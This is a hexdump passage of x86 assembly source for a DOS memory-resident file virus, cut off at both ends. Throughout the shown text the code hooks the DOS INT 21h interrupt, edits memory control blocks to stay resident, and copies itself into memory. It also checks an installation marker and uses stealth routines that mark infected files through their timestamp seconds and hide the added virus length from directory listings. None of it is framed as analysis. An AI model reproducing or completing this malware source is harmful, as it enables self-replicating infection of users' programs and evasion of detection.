|00000fb0| 2c 36 32 0d 0a 20 20 20 | 20 20 20 20 20 63 61 6c |,62.. | cal|
|00000fc0| 6c 20 20 20 20 63 61 6c | 6c 64 6f 73 0d 0a 20 20 |l cal|ldos.. |
|00000fd0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 64 73 | mo|v ds|
|00000fe0| 2c 62 78 0d 0a 20 20 20 | 20 20 20 20 20 63 6d 70 |,bx.. | cmp|
|00000ff0| 20 20 20 20 20 62 78 2c | 5b 31 36 5d 0d 0a 09 70 | bx,|[16]...p|
|00001000| 6f 70 09 64 73 0d 0a 20 | 20 20 20 20 20 20 20 6a |op.ds.. | j|
|00001010| 6e 65 20 20 20 20 20 6e | 6f 74 74 68 69 73 0d 0a |ne n|otthis..|
|00001020| 0d 0a 09 63 61 6c 6c 09 | 67 65 74 0d 0a 09 6d 6f |...call.|get...mo|
|00001030| 76 09 62 78 2c 77 6f 72 | 64 20 70 74 72 20 63 73 |v.bx,wor|d ptr cs|
|00001040| 3a 5b 6c 61 73 74 2d 61 | 64 6a 75 73 74 5d 0d 0a |:[last-a|djust]..|
|00001050| 09 6d 6f 76 09 64 73 2c | 62 78 0d 0a 09 63 6d 70 |.mov.ds,|bx...cmp|
|00001060| 09 5b 30 30 30 31 5d 2c | 62 78 0d 0a 09 6a 62 09 |.[0001],|bx...jb.|
|00001070| 6e 6f 74 74 68 69 73 0d | 0a 09 69 6e 63 09 62 78 |notthis.|..inc.bx|
|00001080| 0d 0a 09 70 75 73 68 09 | 77 6f 72 64 20 70 74 72 |...push.|word ptr|
|00001090| 20 5b 30 30 30 31 5d 0d | 0a 09 6d 6f 76 09 65 73 | [0001].|..mov.es|
|000010a0| 2c 62 78 0d 0a 09 6d 6f | 76 09 62 78 2c 5b 30 30 |,bx...mo|v.bx,[00|
|000010b0| 30 33 5d 0d 0a 09 61 64 | 64 09 62 78 2c 31 33 30 |03]...ad|d.bx,130|
|000010c0| 0d 0a 09 6d 6f 76 09 61 | 68 2c 34 61 68 0d 0a 09 |...mov.a|h,4ah...|
|000010d0| 63 61 6c 6c 09 63 61 6c | 6c 64 6f 73 0d 0a 09 70 |call.cal|ldos...p|
|000010e0| 6f 70 09 77 6f 72 64 20 | 70 74 72 20 5b 30 30 30 |op.word |ptr [000|
|000010f0| 31 5d 0d 0a 09 6a 6e 63 | 09 61 6c 6c 6f 6b 0d 0a |1]...jnc|.allok..|
|00001100| 6e 6f 74 74 68 69 73 3a | 0d 0a 09 6a 6d 70 09 6e |notthis:|...jmp.n|
|00001110| 6f 74 6e 6f 77 0d 0a 61 | 6c 6c 6f 6b 3a 0d 0a 09 |otnow..a|llok:...|
|00001120| 6d 6f 76 09 62 79 74 65 | 20 70 74 72 20 63 73 3a |mov.byte| ptr cs:|
|00001130| 5b 66 5f 67 2d 61 64 6a | 75 73 74 5d 2c 30 46 46 |[f_g-adj|ust],0FF|
|00001140| 0d 0a 09 6c 64 73 09 73 | 69 2c 63 73 3a 5b 6e 65 |...lds.s|i,cs:[ne|
|00001150| 77 5f 61 64 64 72 2d 61 | 64 6a 75 73 74 5d 0d 0a |w_addr-a|djust]..|
|00001160| 09 61 64 64 09 73 69 2c | 6f 66 66 73 65 74 20 63 |.add.si,|offset c|
|00001170| 61 6c 6c 64 6f 73 2d 61 | 64 6a 75 73 74 0d 0a 09 |alldos-a|djust...|
|00001180| 73 75 62 09 62 6c 2c 62 | 6c 0d 0a 09 6d 6f 76 09 |sub.bl,b|l...mov.|
|00001190| 63 78 2c 6f 66 66 73 65 | 74 20 6d 73 67 2d 63 61 |cx,offse|t msg-ca|
|000011a0| 6c 6c 64 6f 73 2d 32 0d | 0a 09 63 6c 64 0d 0a 63 |lldos-2.|..cld..c|
|000011b0| 68 65 63 6b 3a 0d 0a 09 | 6c 6f 64 73 62 0d 0a 09 |heck:...|lodsb...|
|000011c0| 78 6f 72 09 62 6c 2c 61 | 6c 0d 0a 09 6c 6f 6f 70 |xor.bl,a|l...loop|
|000011d0| 09 63 68 65 63 6b 0d 0a | 09 63 6d 70 09 62 6c 2c |.check..|.cmp.bl,|
|000011e0| 62 79 74 65 20 70 74 72 | 20 63 73 3a 5b 63 68 65 |byte ptr| cs:[che|
|000011f0| 63 6b 73 75 6d 2d 61 64 | 6a 75 73 74 5d 0d 0a 09 |cksum-ad|just]...|
|00001200| 6a 6e 65 09 6e 6f 74 6e | 6f 77 0d 0a 09 6d 6f 76 |jne.notn|ow...mov|
|00001210| 09 61 78 2c 30 46 41 30 | 31 0d 0a 09 69 6e 74 09 |.ax,0FA0|1...int.|
|00001220| 32 31 0d 0a 09 6f 72 09 | 61 6c 2c 61 6c 0d 0a 09 |21...or.|al,al...|
|00001230| 73 75 62 09 64 69 2c 64 | 69 0d 0a 09 6c 64 73 09 |sub.di,d|i...lds.|
|00001240| 73 69 2c 63 73 3a 5b 6e | 65 77 5f 61 64 64 72 2d |si,cs:[n|ew_addr-|
|00001250| 61 64 6a 75 73 74 5d 0d | 0a 09 6d 6f 76 09 63 78 |adjust].|..mov.cx|
|00001260| 2c 56 69 72 75 73 5f 6c | 65 6e 67 68 74 0d 0a 20 |,Virus_l|enght.. |
|00001270| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 63 | p|ush c|
|00001280| 78 0d 0a 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |x.. | push |
|00001290| 20 20 20 73 69 0d 0a 20 | 20 20 20 20 20 20 20 70 | si.. | p|
|000012a0| 75 73 68 20 20 20 20 64 | 73 0d 0a 09 72 65 70 09 |ush d|s...rep.|
|000012b0| 6d 6f 76 73 62 0d 0a 09 | 6d 6f 76 09 62 78 2c 65 |movsb...|mov.bx,e|
|000012c0| 73 0d 0a 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |s.. | pop |
|000012d0| 20 20 20 65 73 0d 0a 20 | 20 20 20 20 20 20 20 70 | es.. | p|
|000012e0| 6f 70 20 20 20 20 20 64 | 69 0d 0a 20 20 20 20 20 |op d|i.. |
|000012f0| 20 20 20 70 6f 70 20 20 | 20 20 20 63 78 0d 0a 20 | pop | cx.. |
|00001300| 20 20 20 20 20 20 20 73 | 75 62 20 20 20 20 20 61 | s|ub a|
|00001310| 6c 2c 61 6c 0d 0a 20 20 | 20 20 20 20 20 20 72 65 |l,al.. | re|
|00001320| 70 20 20 20 20 20 73 74 | 6f 73 62 0d 0a 09 70 75 |p st|osb...pu|
|00001330| 73 68 09 63 73 0d 0a 09 | 6d 6f 76 09 61 78 2c 6f |sh.cs...|mov.ax,o|
|00001340| 66 66 73 65 74 20 6e 6f | 74 6e 6f 77 32 2d 61 64 |ffset no|tnow2-ad|
|00001350| 6a 75 73 74 0d 0a 09 70 | 75 73 68 09 61 78 0d 0a |just...p|ush.ax..|
|00001360| 09 70 75 73 68 09 62 78 | 0d 0a 09 6d 6f 76 09 61 |.push.bx|...mov.a|
|00001370| 78 2c 6f 66 66 73 65 74 | 20 53 65 74 5f 56 65 63 |x,offset| Set_Vec|
|00001380| 74 6f 72 73 2d 61 64 6a | 75 73 74 0d 0a 09 70 75 |tors-adj|ust...pu|
|00001390| 73 68 09 61 78 0d 0a 09 | 72 65 74 66 0d 0a 0d 0a |sh.ax...|retf....|
|000013a0| 6e 6f 74 6e 6f 77 32 3a | 0d 0a 09 70 6f 70 09 65 |notnow2:|...pop.e|
|000013b0| 73 0d 0a 09 70 6f 70 09 | 64 73 0d 0a 09 70 6f 70 |s...pop.|ds...pop|
|000013c0| 09 64 69 0d 0a 09 70 6f | 70 09 73 69 0d 0a 09 70 |.di...po|p.si...p|
|000013d0| 6f 70 09 64 78 0d 0a 09 | 70 6f 70 09 63 78 0d 0a |op.dx...|pop.cx..|
|000013e0| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 | |pop |
|000013f0| 62 78 0d 0a 09 70 6f 70 | 09 61 78 0d 0a 09 69 6e |bx...pop|.ax...in|
|00001400| 74 09 32 31 0d 0a 09 64 | 62 09 30 63 61 2c 32 2c |t.21...d|b.0ca,2,|
|00001410| 30 20 3b 72 65 74 66 20 | 32 0d 0a 0d 0a 6e 6f 74 |0 ;retf |2....not|
|00001420| 6e 6f 77 3a 0d 0a 09 70 | 6f 70 09 65 73 0d 0a 09 |now:...p|op.es...|
|00001430| 70 6f 70 09 64 73 0d 0a | 09 70 6f 70 09 64 69 0d |pop.ds..|.pop.di.|
|00001440| 0a 09 70 6f 70 09 73 69 | 0d 0a 09 70 6f 70 09 64 |..pop.si|...pop.d|
|00001450| 78 0d 0a 09 70 6f 70 09 | 63 78 0d 0a 20 20 20 20 |x...pop.|cx.. |
|00001460| 20 20 20 20 70 6f 70 20 | 20 20 20 20 62 78 0d 0a | pop | bx..|
|00001470| 09 70 6f 70 09 61 78 0d | 0a 0d 0a 6f 75 74 3a 0d |.pop.ax.|...out:.|
|00001480| 0a 09 6a 6d 70 09 64 77 | 6f 72 64 20 70 74 72 20 |..jmp.dw|ord ptr |
|00001490| 63 73 3a 5b 6f 6c 64 2d | 61 64 6a 75 73 74 5d 0d |cs:[old-|adjust].|
|000014a0| 0a 0d 0a 67 65 74 3a 0d | 0a 09 70 75 73 68 09 62 |...get:.|..push.b|
|000014b0| 78 0d 0a 09 70 75 73 68 | 09 64 73 0d 0a 09 70 75 |x...push|.ds...pu|
|000014c0| 73 68 09 65 73 0d 0a 0d | 0a 20 20 20 20 20 20 20 |sh.es...|. |
|000014d0| 20 6d 6f 76 20 20 20 20 | 20 61 68 2c 35 32 68 0d | mov | ah,52h.|
|000014e0| 0a 09 63 61 6c 6c 09 63 | 61 6c 6c 64 6f 73 0d 0a |..call.c|alldos..|
|000014f0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00001500| 62 78 2c 65 73 3a 5b 62 | 78 2d 30 32 5d 0d 0a 73 |bx,es:[b|x-02]..s|
|00001510| 65 61 72 63 68 3a 0d 0a | 20 20 20 20 20 20 20 20 |earch:..| |
|00001520| 6d 6f 76 20 20 20 20 20 | 64 73 2c 62 78 0d 0a 09 |mov |ds,bx...|
|00001530| 69 6e 63 09 62 78 0d 0a | 20 20 20 20 20 20 20 20 |inc.bx..| |
|00001540| 61 64 64 20 20 20 20 20 | 62 78 2c 5b 30 30 30 33 |add |bx,[0003|
|00001550| 5d 0d 0a 09 6d 6f 76 09 | 65 73 2c 62 78 0d 0a 20 |]...mov.|es,bx.. |
|00001560| 20 20 20 20 20 20 20 63 | 6d 70 20 20 20 20 20 62 | c|mp b|
|00001570| 79 74 65 20 70 74 72 20 | 65 73 3a 5b 30 30 30 30 |yte ptr |es:[0000|
|00001580| 5d 2c 27 5a 27 0d 0a 09 | 6a 6e 65 09 73 65 61 72 |],'Z'...|jne.sear|
|00001590| 63 68 0d 0a 0d 0a 09 6d | 6f 76 09 77 6f 72 64 20 |ch.....m|ov.word |
|000015a0| 70 74 72 20 63 73 3a 5b | 6c 61 73 74 2d 61 64 6a |ptr cs:[|last-adj|
|000015b0| 75 73 74 5d 2c 64 73 0d | 0a 09 6d 6f 76 09 77 6f |ust],ds.|..mov.wo|
|000015c0| 72 64 20 70 74 72 20 63 | 73 3a 5b 77 68 65 72 65 |rd ptr c|s:[where|
|000015d0| 2d 61 64 6a 75 73 74 5d | 2c 62 78 0d 0a 0d 0a 09 |-adjust]|,bx.....|
|000015e0| 70 6f 70 09 65 73 0d 0a | 09 70 6f 70 09 64 73 0d |pop.es..|.pop.ds.|
|000015f0| 0a 09 70 6f 70 09 62 78 | 0d 0a 09 72 65 74 0d 0a |..pop.bx|...ret..|
|00001600| 0d 0a 46 46 5f 6f 6c 64 | 3a 0d 0a 09 70 75 73 68 |..FF_old|:...push|
|00001610| 09 61 78 0d 0a 09 70 75 | 73 68 09 62 78 0d 0a 09 |.ax...pu|sh.bx...|
|00001620| 70 75 73 68 09 64 78 0d | 0a 09 70 75 73 68 09 65 |push.dx.|..push.e|
|00001630| 73 0d 0a 0d 0a 09 6f 72 | 09 61 6c 2c 61 6c 0d 0a |s.....or|.al,al..|
|00001640| 09 6a 6e 7a 09 47 6f 5f | 4f 75 74 5f 20 3b 69 66 |.jnz.Go_|Out_ ;if|
|00001650| 20 65 72 72 6f 72 0d 0a | 0d 0a 09 6d 6f 76 09 61 | error..|...mov.a|
|00001660| 68 2c 32 66 09 09 09 09 | 3b 67 65 74 20 44 54 41 |h,2f....|;get DTA|
|00001670| 20 61 64 64 72 65 73 73 | 0d 0a 09 63 61 6c 6c 09 | address|...call.|
|00001680| 63 61 6c 6c 64 6f 73 0d | 0a 0d 0a 09 63 6d 70 09 |calldos.|....cmp.|
|00001690| 62 79 74 65 20 70 74 72 | 20 65 73 3a 5b 62 78 5d |byte ptr| es:[bx]|
|000016a0| 2c 30 66 66 0d 0a 09 6a | 6e 65 09 73 74 61 6e 64 |,0ff...j|ne.stand|
|000016b0| 61 72 74 0d 0a 09 61 64 | 64 09 62 78 2c 37 0d 0a |art...ad|d.bx,7..|
|000016c0| 0d 0a 73 74 61 6e 64 61 | 72 74 3a 0d 0a 09 6d 6f |..standa|rt:...mo|
|000016d0| 76 09 61 6c 2c 62 79 74 | 65 20 70 74 72 20 65 73 |v.al,byt|e ptr es|
|000016e0| 3a 5b 62 78 2b 33 30 64 | 2d 37 5d 20 3b 53 65 63 |:[bx+30d|-7] ;Sec|
|000016f0| 6f 6e 64 73 20 69 6e 20 | 61 6c 0d 0a 09 61 6e 64 |onds in |al...and|
|00001700| 09 61 6c 2c 33 31 64 09 | 09 09 3b 4d 61 73 6b 20 |.al,31d.|..;Mask |
|00001710| 73 65 63 6f 6e 64 73 0d | 0a 09 63 6d 70 09 61 6c |seconds.|..cmp.al|
|00001720| 2c 36 30 64 2f 32 09 09 | 09 3b 53 65 63 6f 6e 64 |,60d/2..|.;Second|
|00001730| 73 3d 36 30 3f 0d 0a 09 | 6a 6e 65 09 47 6f 5f 4f |s=60?...|jne.Go_O|
|00001740| 75 74 5f 0d 0a 09 61 6e | 64 09 62 79 74 65 20 70 |ut_...an|d.byte p|
|00001750| 74 72 20 65 73 3a 5b 62 | 78 2b 33 30 64 2d 37 5d |tr es:[b|x+30d-7]|
|00001760| 2c 31 31 31 30 30 30 30 | 30 62 0d 0a 09 6d 6f 76 |,1110000|0b...mov|
|00001770| 09 61 78 2c 65 73 3a 5b | 62 78 2b 33 36 64 2d 37 |.ax,es:[|bx+36d-7|
|00001780| 5d 0d 0a 09 6d 6f 76 09 | 64 78 2c 65 73 3a 5b 62 |]...mov.|dx,es:[b|
|00001790| 78 2b 33 38 64 2d 37 5d | 09 09 3b 43 68 65 63 6b |x+38d-7]|..;Check|
|000017a0| 20 46 69 6c 65 20 73 69 | 7a 65 0d 0a 09 73 75 62 | File si|ze...sub|
|000017b0| 09 61 78 2c 56 69 72 75 | 73 5f 6c 65 6e 67 68 74 |.ax,Viru|s_lenght|
|000017c0| 0d 0a 09 73 62 62 09 64 | 78 2c 30 0d 0a 09 6a 62 |...sbb.d|x,0...jb|
|000017d0| 09 47 6f 5f 4f 75 74 5f | 0d 0a 0d 0a 0d 0a 41 64 |.Go_Out_|......Ad|
|000017e0| 6a 75 73 74 5f 53 69 7a | 65 3a 0d 0a 0d 0a 09 6d |just_Siz|e:.....m|
|000017f0| 6f 76 09 65 73 3a 5b 62 | 78 2b 32 38 64 2b 31 5d |ov.es:[b|x+28d+1]|
|00001800| 2c 61 78 0d 0a 09 6d 6f | 76 09 65 73 3a 5b 62 78 |,ax...mo|v.es:[bx|
|00001810| 2b 32 38 64 2b 32 2b 31 | 5d 2c 64 78 0d 0a 0d 0a |+28d+2+1|],dx....|
|00001820| 47 6f 5f 4f 75 74 5f 3a | 0d 0a 0d 0a 09 70 6f 70 |Go_Out_:|.....pop|
|00001830| 09 65 73 09 09 09 3b 52 | 65 74 75 72 6e 20 74 6f |.es...;R|eturn to|
|00001840| 20 63 61 6c 6c 65 72 0d | 0a 09 70 6f 70 09 64 78 | caller.|..pop.dx|
|00001850| 0d 0a 09 70 6f 70 09 62 | 78 0d 0a 09 70 6f 70 09 |...pop.b|x...pop.|
|00001860| 61 78 0d 0a 09 69 72 65 | 74 0d 0a 0d 0a 46 46 5f |ax...ire|t....FF_|
|00001870| 6e 65 77 3a 0d 0a 09 70 | 75 73 68 66 0d 0a 09 70 |new:...p|ushf...p|
|00001880| 75 73 68 09 61 78 0d 0a | 09 70 75 73 68 09 62 78 |ush.ax..|.push.bx|
|00001890| 0d 0a 09 70 75 73 68 09 | 64 78 09 09 09 3b 66 75 |...push.|dx...;fu|
|000018a0| 63 6b 20 61 67 61 69 6e | 0d 0a 09 70 75 73 68 09 |ck again|...push.|
|000018b0| 65 73 0d 0a 09 6a 63 09 | 47 6f 5f 4f 75 74 5f 31 |es...jc.|Go_Out_1|
|000018c0| 0d 0a 0d 0a 09 6d 6f 76 | 09 61 68 2c 32 66 0d 0a |.....mov|.ah,2f..|
|000018d0| 09 63 61 6c 6c 09 63 61 | 6c 6c 64 6f 73 0d 0a 0d |.call.ca|lldos...|
|000018e0| 0a 09 6d 6f 76 09 61 6c | 2c 65 73 3a 5b 62 78 2b |..mov.al|,es:[bx+|
|000018f0| 32 32 64 5d 0d 0a 09 61 | 6e 64 09 61 6c 2c 33 31 |22d]...a|nd.al,31|
|00001900| 64 0d 0a 09 63 6d 70 09 | 61 6c 2c 36 30 64 2f 32 |d...cmp.|al,60d/2|
|00001910| 0d 0a 09 6a 6e 65 09 47 | 6f 5f 4f 75 74 5f 31 0d |...jne.G|o_Out_1.|
|00001920| 0a 20 20 20 20 20 20 20 | 20 61 6e 64 20 20 20 20 |. | and |
|00001930| 20 62 79 74 65 20 70 74 | 72 20 65 73 3a 5b 62 78 | byte pt|r es:[bx|
|00001940| 2b 32 32 64 5d 2c 31 31 | 31 30 30 30 30 30 62 0d |+22d],11|100000b.|
|00001950| 0a 09 6d 6f 76 09 61 78 | 2c 65 73 3a 5b 62 78 2b |..mov.ax|,es:[bx+|
|00001960| 32 36 64 5d 0d 0a 09 6d | 6f 76 09 64 78 2c 65 73 |26d]...m|ov.dx,es|
|00001970| 3a 5b 62 78 2b 32 38 64 | 5d 0d 0a 09 73 75 62 09 |:[bx+28d|]...sub.|
|00001980| 61 78 2c 56 69 72 75 73 | 5f 6c 65 6e 67 68 74 0d |ax,Virus|_lenght.|
|00001990| 0a 09 73 62 62 09 64 78 | 2c 30 0d 0a 09 6a 62 09 |..sbb.dx|,0...jb.|
|000019a0| 47 6f 5f 4f 75 74 5f 31 | 0d 0a 0d 0a 41 64 6a 75 |Go_Out_1|....Adju|
|000019b0| 73 74 5f 53 69 7a 65 31 | 3a 0d 0a 0d 0a 09 6d 6f |st_Size1|:.....mo|
|000019c0| 76 09 65 73 3a 5b 62 78 | 2b 32 36 64 5d 2c 61 78 |v.es:[bx|+26d],ax|
|000019d0| 0d 0a 09 6d 6f 76 09 65 | 73 3a 5b 62 78 2b 32 38 |...mov.e|s:[bx+28|
|000019e0| 64 5d 2c 64 78 0d 0a 0d | 0a 47 6f 5f 4f 75 74 5f |d],dx...|.Go_Out_|
|000019f0| 31 3a 0d 0a 0d 0a 09 70 | 6f 70 09 65 73 0d 0a 09 |1:.....p|op.es...|
|00001a00| 70 6f 70 09 64 78 0d 0a | 09 70 6f 70 09 62 78 0d |pop.dx..|.pop.bx.|
|00001a10| 0a 09 70 6f 70 09 61 78 | 09 09 09 3b 20 44 75 6d |..pop.ax|...; Dum|
|00001a20| 6d 79 20 70 72 6f 63 20 | 66 61 72 0d 0a 09 70 6f |my proc |far...po|
|00001a30| 70 66 09 09 09 09 3b 20 | 72 65 74 20 20 20 32 0d |pf....; |ret 2.|
|00001a40| 0a 09 64 62 09 30 63 61 | 2c 32 2c 30 20 3b 72 65 |..db.0ca|,2,0 ;re|
|00001a50| 74 66 20 32 20 20 20 20 | 20 20 20 20 20 3b 20 44 |tf 2 | ; D|
|00001a60| 75 6d 6d 79 20 65 6e 64 | 70 20 3d 3e 20 20 42 55 |ummy end|p => BU|
|00001a70| 54 20 74 6f 6f 20 6c 6f | 6e 67 2e 2e 2e 0d 0a 0d |T too lo|ng......|
|00001a80| 0a 65 6e 64 69 6e 73 74 | 20 6c 61 62 65 6c 20 77 |.endinst| label w|
|00001a90| 6f 72 64 0d 0a 0d 0a 63 | 6f 64 65 64 73 74 61 72 |ord....c|odedstar|
|00001aa0| 74 31 3a 0d 0a 0d 0a 09 | 73 74 69 0d 0a 09 70 6f |t1:.....|sti...po|
|00001ab0| 70 09 61 78 0d 0a 0d 0a | 69 6e 73 74 61 6c 6c 3a |p.ax....|install:|
|00001ac0| 0d 0a 0d 0a 09 73 75 62 | 09 62 70 2c 6f 66 66 73 |.....sub|.bp,offs|
|00001ad0| 65 74 20 6e 65 78 74 6c | 69 6e 65 2d 61 64 6a 75 |et nextl|ine-adju|
|00001ae0| 73 74 0d 0a 0d 0a 69 6e | 73 74 61 6c 6c 31 3a 0d |st....in|stall1:.|
|00001af0| 0a 0d 0a 09 63 6c 64 09 | 09 09 09 09 3b 43 6c 65 |....cld.|....;Cle|
|00001b00| 61 72 20 64 69 72 65 63 | 74 69 6f 6e 20 66 6c 61 |ar direc|tion fla|
|00001b10| 67 0d 0a 09 70 75 73 68 | 09 61 78 09 09 09 09 3b |g...push|.ax....;|
|00001b20| 53 61 76 65 20 73 6f 6d | 65 20 72 65 67 69 73 74 |Save som|e regist|
|00001b30| 72 65 73 0d 0a 09 70 75 | 73 68 09 65 73 0d 0a 09 |res...pu|sh.es...|
|00001b40| 70 75 73 68 09 64 73 0d | 0a 0d 0a 09 6d 6f 76 09 |push.ds.|....mov.|
|00001b50| 61 78 2c 30 46 41 30 31 | 0d 0a 09 69 6e 74 09 32 |ax,0FA01|...int.2|
|00001b60| 31 0d 0a 09 6f 72 09 61 | 6c 2c 61 6c 0d 0a 09 6a |1...or.a|l,al...j|
|00001b70| 7a 09 64 6f 5f 64 6f 62 | 0d 0a 09 6a 6d 70 09 69 |z.do_dob|...jmp.i|
|00001b80| 6e 73 74 61 6c 6c 5f 6f | 6b 0d 0a 64 6f 5f 64 6f |nstall_o|k..do_do|
|00001b90| 62 3a 0d 0a 09 70 75 73 | 68 09 65 73 0d 0a 09 70 |b:...pus|h.es...p|
|00001ba0| 6f 70 09 64 73 0d 0a 09 | 6d 6f 76 09 61 78 2c 5b |op.ds...|mov.ax,[|
|00001bb0| 30 30 30 32 5d 0d 0a 09 | 6d 6f 76 09 63 78 2c 31 |0002]...|mov.cx,1|
|00001bc0| 30 30 30 0d 0a 09 73 75 | 62 09 61 78 2c 63 78 0d |000...su|b.ax,cx.|
|00001bd0| 0a 09 6d 6f 76 09 65 73 | 2c 61 78 0d 0a 09 73 75 |..mov.es|,ax...su|
|00001be0| 62 09 64 69 2c 64 69 0d | 0a 09 63 61 6c 6c 09 53 |b.di,di.|..call.S|
|00001bf0| 65 61 72 63 68 5a 65 72 | 6f 0d 0a 09 6a 63 09 44 |earchZer|o...jc.D|
|00001c00| 6f 6e 74 5f 63 6f 70 79 | 0d 0a 09 6d 6f 76 09 73 |ont_copy|...mov.s|
|00001c10| 69 2c 62 70 0d 0a 09 6d | 6f 76 09 63 78 2c 61 6c |i,bp...m|ov.cx,al|
|00001c20| 6c 6c 65 6e 0d 0a 09 64 | 62 09 32 65 0d 0a 09 72 |llen...d|b.2e...r|
|00001c30| 65 70 09 6d 6f 76 73 62 | 0d 0a 0d 0a 44 6f 6e 74 |ep.movsb|....Dont|
|00001c40| 5f 63 6f 70 79 3a 0d 0a | 0d 0a 09 73 75 62 09 61 |_copy:..|...sub.a|
|00001c50| 78 2c 61 78 0d 0a 09 6d | 6f 76 09 64 73 2c 61 78 |x,ax...m|ov.ds,ax|
|00001c60| 0d 0a 09 6d 6f 76 09 61 | 78 2c 5b 32 31 2a 34 5d |...mov.a|x,[21*4]|
|00001c70| 0d 0a 09 6d 6f 76 09 77 | 6f 72 64 20 70 74 72 20 |...mov.w|ord ptr |
|00001c80| 63 73 3a 5b 62 70 2b 6f | 6c 64 2d 61 64 6a 75 73 |cs:[bp+o|ld-adjus|
|00001c90| 74 5d 2c 61 78 0d 0a 09 | 6d 6f 76 09 61 78 2c 5b |t],ax...|mov.ax,[|
|00001ca0| 32 31 2a 34 2b 32 5d 0d | 0a 09 6d 6f 76 09 77 6f |21*4+2].|..mov.wo|
|00001cb0| 72 64 20 70 74 72 20 63 | 73 3a 5b 62 70 2b 6f 6c |rd ptr c|s:[bp+ol|
|00001cc0| 64 2d 61 64 6a 75 73 74 | 2b 32 5d 2c 61 78 0d 0a |d-adjust|+2],ax..|
|00001cd0| 09 6d 6f 76 09 61 68 2c | 35 32 0d 0a 09 69 6e 74 |.mov.ah,|52...int|
|00001ce0| 09 32 31 0d 0a 09 70 75 | 73 68 09 65 73 0d 0a 09 |.21...pu|sh.es...|
|00001cf0| 6d 6f 76 09 65 73 2c 65 | 73 3a 5b 62 78 2b 31 34 |mov.es,e|s:[bx+14|
|00001d00| 5d 0d 0a 09 70 75 73 68 | 09 65 73 3a 5b 32 5d 0d |]...push|.es:[2].|
|00001d10| 0a 09 73 75 62 09 64 69 | 2c 64 69 0d 0a 09 6d 6f |..sub.di|,di...mo|
|00001d20| 76 09 73 69 2c 62 70 0d | 0a 09 6d 6f 76 09 63 78 |v.si,bp.|..mov.cx|
|00001d30| 2c 65 6e 64 69 6e 73 74 | 2d 61 64 6a 75 73 74 0d |,endinst|-adjust.|
|00001d40| 0a 09 64 62 09 32 65 0d | 0a 09 72 65 70 09 6d 6f |..db.2e.|..rep.mo|
|00001d50| 76 73 62 0d 0a 09 70 6f | 70 09 61 78 0d 0a 09 70 |vsb...po|p.ax...p|
|00001d60| 6f 70 09 64 73 0d 0a 09 | 6d 6f 76 09 5b 62 78 2b |op.ds...|mov.[bx+|
|00001d70| 31 34 5d 2c 61 78 0d 0a | 09 6d 6f 76 09 64 73 2c |14],ax..|.mov.ds,|
|00001d80| 63 78 0d 0a 09 6d 6f 76 | 09 5b 32 31 2a 34 5d 2c |cx...mov|.[21*4],|
|00001d90| 6f 66 66 73 65 74 20 72 | 65 73 2d 61 64 6a 75 73 |offset r|es-adjus|
|00001da0| 74 0d 0a 09 6d 6f 76 09 | 5b 32 31 2a 34 2b 32 5d |t...mov.|[21*4+2]|
|00001db0| 2c 65 73 0d 0a 09 6a 63 | 78 7a 09 52 75 6e 5f 54 |,es...jc|xz.Run_T|
|00001dc0| 68 65 5f 50 72 6f 67 72 | 61 6d 0d 0a 0d 0a 69 6e |he_Progr|am....in|
|00001dd0| 73 74 61 6c 6c 5f 6f 6b | 3a 0d 0a 0d 0a 09 63 6d |stall_ok|:.....cm|
|00001de0| 70 09 61 78 2c 30 31 46 | 41 68 0d 0a 09 6a 65 09 |p.ax,01F|Ah...je.|
|00001df0| 52 75 6e 5f 54 68 65 5f | 50 72 6f 67 72 61 6d 0d |Run_The_|Program.|
|00001e00| 0a 09 6d 6f 76 09 77 6f | 72 64 20 70 74 72 20 63 |..mov.wo|rd ptr c|
|00001e10| 73 3a 5b 62 70 2b 68 61 | 6e 64 6c 65 2d 61 64 6a |s:[bp+ha|ndle-adj|
|00001e20| 75 73 74 5d 2c 30 66 66 | 66 66 20 3b 73 65 74 20 |ust],0ff|ff ;set |
|00001e30| 68 61 6e 64 6c 65 5f 73 | 61 76 65 0d 0a 09 6d 6f |handle_s|ave...mo|
|00001e40| 76 09 73 69 2c 62 70 0d | 0a 09 73 75 62 09 64 69 |v.si,bp.|..sub.di|
|00001e50| 2c 64 69 0d 0a 09 6d 6f | 76 09 63 78 2c 61 6c 6c |,di...mo|v.cx,all|
|00001e60| 6c 65 6e 0d 0a 09 64 62 | 09 32 65 0d 0a 09 72 65 |len...db|.2e...re|
|00001e70| 70 09 6d 6f 76 73 62 0d | 0a 09 70 75 73 68 09 63 |p.movsb.|..push.c|
|00001e80| 73 0d 0a 09 6d 6f 76 09 | 61 78 2c 52 75 6e 5f 54 |s...mov.|ax,Run_T|
|00001e90| 68 65 5f 50 72 6f 67 72 | 61 6d 2d 61 64 6a 75 73 |he_Progr|am-adjus|
|00001ea0| 74 0d 0a 09 61 64 64 09 | 61 78 2c 62 70 0d 0a 09 |t...add.|ax,bp...|
|00001eb0| 70 75 73 68 09 61 78 0d | 0a 09 70 75 73 68 09 65 |push.ax.|..push.e|
|00001ec0| 73 0d 0a 09 6d 6f 76 09 | 61 78 2c 6f 66 66 73 65 |s...mov.|ax,offse|
|00001ed0| 74 20 53 65 74 5f 56 65 | 63 74 6f 72 73 2d 61 64 |t Set_Ve|ctors-ad|
|00001ee0| 6a 75 73 74 09 3b 53 65 | 74 20 76 65 63 74 6f 72 |just.;Se|t vector|
|00001ef0| 73 0d 0a 09 70 75 73 68 | 09 61 78 0d 0a 09 72 65 |s...push|.ax...re|
|00001f00| 74 66 0d 0a 0d 0a 53 65 | 61 72 63 68 5a 65 72 6f |tf....Se|archZero|
|00001f10| 3a 0d 0a 0d 0a 09 73 75 | 62 09 61 78 2c 61 78 0d |:.....su|b.ax,ax.|
|00001f20| 0a 41 67 61 69 6e 3a 0d | 0a 09 69 6e 63 09 64 69 |.Again:.|..inc.di|
|00001f30| 0d 0a 09 70 75 73 68 09 | 63 78 0d 0a 09 70 75 73 |...push.|cx...pus|
|00001f40| 68 09 64 69 0d 0a 09 6d | 6f 76 09 63 78 2c 61 6c |h.di...m|ov.cx,al|
|00001f50| 6c 6c 65 6e 0d 0a 09 72 | 65 70 65 09 73 63 61 73 |llen...r|epe.scas|
|00001f60| 62 0d 0a 09 70 6f 70 09 | 64 69 0d 0a 09 6a 7a 09 |b...pop.|di...jz.|
